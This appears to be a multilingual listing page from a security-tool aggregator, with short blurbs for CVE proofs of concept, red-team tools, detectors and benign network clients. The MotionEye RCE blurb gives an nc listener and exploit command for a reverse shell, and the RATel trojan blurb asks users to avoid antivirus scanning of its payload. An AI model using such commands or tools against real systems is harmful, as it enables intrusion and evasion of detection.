Safenet_SAC_CVE-2021-42056

Escalade de privilèges du client d'authentification Safenet CVE-2021-42056 Selon le site web de Thales 1, SafeNet Authentication Client est un client middleware qui gère le vaste portefeuille SafeNet de Thales d'authentificateurs basés sur des certificats, y compris les eTokens, les cartes à puce...

cve-2022-0778

cve-2022-0778 serveur malveillant root@kitploit: go run server/main.go --addr 127.0.0.1:12345 cd test && testserver.sh docker stat client malveillant root@kitploit: cd test && testclient.sh go run client/main.go --network tcp --addr 127.0.0.1:12345 docker stat compilation root@kitploit: docker...

CVE-2025-45620

Détails du problème Modèle de caméra PTC310UV2 exécutant la version de firmware 0.1.0000.59. La vulnérabilité se trouve dans l'interface web utilisée pour accéder à la caméra. La vulnérabilité a été découverte lors d'un test d'intrusion, par conséquent, certaines informations dans les captures...

java-remote-class-loader

تتيح لك هذه الأداة إرسال كود بايت جافا Java bytecode على شكل ملفات كلاس class files إلى عملائك أو الأهداف المحتملة لتحميلها وتنفيذها باستخدام محمل الفئات ClassLoader الخاص بجافا مع واجهة Reflect API. يستقبل العميل ملف الفئة من الخادم ويعيد مخرجات التنفيذ المقابلة. يجب أن تُكتب الحمولات Payloads...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE authentifiée dans MotionEye = 0.43.1b4 via un contournement de la validation côté client sur le champ imagefilename. Utilisation root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Options...

lsawhisper-bof

LSA Whisperer BOF Un portage en fichier d'objet Beacon BOF pour Cobalt Strike de LSA Whisperer — l'outil qui dialogue directement avec les packages d'authentification Windows via l'interface client LSA non fiable/ fiable, sans toucher à la mémoire du processus LSASS, même quand PPL et Credential...

ublockdnsclient

uBlockDNS Client uBlockDNS Client est un projet indépendant et n'est pas affilié à, approuvé par, ou lié à uBlock Origin ou à son mainteneur. uBlockDNS Client apporte le blocage des publicités et des traqueurs au niveau DNS sur l'ensemble de votre appareil. Il utilise des listes de filtres...

pphack

pphack Scanner avancé de Prototype Pollution côté client Codé avec 💙 par edoardottt Partager sur Twitter ! Installation • Démarrage • Exemples • Journal des modifications • Contribuer • Licence Installation 📡 Utilisation de Go...

CVE-2025-3243

🔐 CVE-2025-3243 SSH Checker Rapide. Léger. Sans fioritures. Script en Python pour la vérification initiale d'exposition à la vulnérabilité CVE-2025-3243 liée au client SSH Erlang/OTP. Ce projet a été conçu pour le tri rapide , la réduction de l'incertitude opérationnelle et la validation de la...

CVE-2022-29361_Werkzeug_Client-Side-Desync-to-XSS

Благодарность @kevin-mizu https://github.com/kevin-mizu/Werkzeug-CVE-2022-29361-PoC/tree/main подробнее читайте: https://mizu.re/post/abusing-client-side-desync-on-werkzeug Протестировано на Chromium 119.0.6045.123, собранном на Debian trixie/sid, работающем на Debian kali-rolling...

Win-PortFwd

Win-PortFwd Script PowerShell pour configurer le forwarding de ports Windows en utilisant le client netsh natif Installer : git clone https://github.com/deepzec/Win-PortFwd.git Utilisation : .\win-portfwd.ps1 ou powershell.exe -noprofile -executionpolicy bypass -file .\win-portfwd.ps1 Exemple :...

ligolo-mp

Ligolo-MP: пивотинг как VPN, теперь с друзьями! Ligolo-MP — это продвинутая версия Ligolo-ng с архитектурой клиент-сервер, позволяющая пентестерам работать с несколькими одновременными туннелями совместно. Он автоматически управляет всеми вашими TUN и предоставляет чистый графический интерфейс дл...

rdap

OpenRDAP est un client en ligne de commande RDAP implémenté en Go. https://www.openrdap.org - page d'accueil https://www.openrdap.org/demo - démo en direct Fonctionnalités Client RDAP en ligne de commande Formats de sortie : texte, JSON, style WHOIS Types de requêtes pris en charge : ip domain...

mcpsnoop

Wireshark for MCP. A transparent proxy that shows every real tool call between your AI client and your MCP servers, live in your terminal. The problem The official MCP Inspector connects as its own client, so it never sees what client Cursor, Claude Code, Codex actually sends your server. And...

openpcc

OpenPCC OpenPCC est un framework open-source pour l'inférence IA prouvablement privée, inspiré par Private Cloud Compute d'Apple mais entièrement ouvert, auditable et déployable sur votre propre infrastructure. Il permet à quiconque d'exécuter des modèles IA ouverts ou personnalisés sans exposer...

CVE-2022-21449

CVE-2022-21449 Zeek-скрипт для обнаружения попыток эксплуатации CVE-2022-21449, нацеленных на TLS-клиенты. Работает только с TLS 1.2 и ниже. Установка zkg install https://github.com/thack1/CVE-2022-21449 Запуск Запуск на предоставленном pcap-файле: $ zeek -Cr pcaps/CVE-2022-21449.pcap...

pybatfish

Des questions, des commentaires ou des demandes de fonctionnalités ? Rejoignez notre communauté surSlack! Pybatfish Pybatfish est un client Python pour Batfish. Qu'est-ce que Batfish ? Batfish est un outil de validation réseau qui fournit des garanties de correction pour la sécurité, la fiabilité...

interactsh-web

Interactsh Web Client Une interface web basée sur Next.js pour Interactsh Pour commencer Prérequis Node.js 20+ requis pour React 19 npm, yarn, ou pnpm Installation 1. Clonez le dépôt : root@kitploit: git clone https://github.com/projectdiscovery/interactsh-web.git cd interactsh-web 2. Installez l...

grdpwasm

grdpwasm Un client RDP basé sur le Web construit avec Go WebAssembly et grdp. Connectez-vous à un serveur Windows Remote Desktop directement depuis votre navigateur — aucun plugin requis. Architecture root@kitploit: Browser WASM ──WebSocket──► proxy Go ──TCP──► RDP Server Étant donné que les...

RATel

RATel Veuillez ne pas télécharger sur virustotal ! Pour éviter que RATel ne soit détecté par les antivirus, veuillez ne pas télécharger le payload sur TOTAL VIRUS. Chaque mois, je testerai moi-même si le payload est détecté par les antivirus. Ainsi, vous aurez une photo chaque mois pour prouver l...